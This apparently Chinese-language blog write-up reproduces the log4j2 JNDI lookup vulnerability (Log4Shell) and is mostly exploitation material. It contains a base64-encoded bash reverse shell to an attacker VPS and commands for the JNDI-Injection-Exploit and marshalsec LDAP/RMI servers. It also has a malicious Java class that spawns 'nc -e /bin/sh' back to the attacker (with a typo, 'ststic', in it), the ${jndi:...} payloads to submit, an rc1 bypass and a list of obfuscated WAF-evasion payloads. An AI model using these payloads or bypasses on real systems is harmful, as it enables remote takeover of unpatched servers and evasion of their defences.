一、漏洞描述
此漏洞由log4j2提供的lookup功能造成,该功能允许开发者通过一些协议读取相应环境中的配置,但在处理数据时未对输入进行严格的判断,从而造成命令注入。
二、漏洞影响
Apache log4j2 2.x < 2.15.0-rc2
三、漏洞复现
0x01 使用dnslog进行测试
0x02 复现1
执行命令反弹shell
构造反弹shell payload,并将命令base64编码
1 2 3
| bash -i >& /dev/tcp/vpsip/9999 0>&1 base64编码后: YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC85OTk5IDA+JjE=
|
开启vps上的ldap和rmi服务,利用工具JNDI-Exploit-1.0-SNAPSHOT-all.jar
1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "vpsip"
|
构造payload,去访问站点中某个传参点,将攻击代码以post形式进行传入:
1
| payload:${jndi:rmi://vps:1099/0qic9a}
|
0x03 复现2
1、利用Poc配合dnslog平台进行验证
1
| ${jndi:ldap://8m4798.dnslog.cn/EXP}
|
2、构造恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.lang.Runtime; import java.lang.Process;
public class exp{ ststic{ try{ Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/sh","-c","nc ip 端口 -e /bin/sh"}; Process pc = rt.exec(commands); pc.waitFor(); }catch(Exception e){ } } }
|
这里有两个注意点
1、我们的类名和我们最后保存的文件名一样(否则无法编译)
2、这里的ip是在自己vps的ip,端口就是要反弹shell到vps上的端口
将构造好的exp.java编译一下
接着我们利用python3建立一个http服务,是我们到时候能够请求到exp.class
1
| python3 -m http.server 8888
|
至此我们的恶意类已经准备好了
3、开启ldap或者rmi服务
这里需要用到marshalsec
进入marshalsec的target目录,开启ldap服务
1 2
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsip:8888/#exp" 9999
|
注意:这里的ip和端口是我们开启http服务的ip和端口。这里的#不可省略,9999是ldap服务端口
4、反弹shell
1 2 3 4
| 启动nc监听 nc -nlvvp 888 构造payload提交 ${jndi:ldap://vpsip:9999/exp}
|
这里的端口是我们ldap服务开启端口
此时成功反弹shell。
四、bypass
0x01 bypass rc1
1
| ${jndi:ldap://127.0.0.1:1389/ badClassName}
|
0x02 bypass waf
1 2 3 4 5 6 7
| ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc} ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass} ${jndi:rmi://adsasd.asdasd.asdasd} ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
|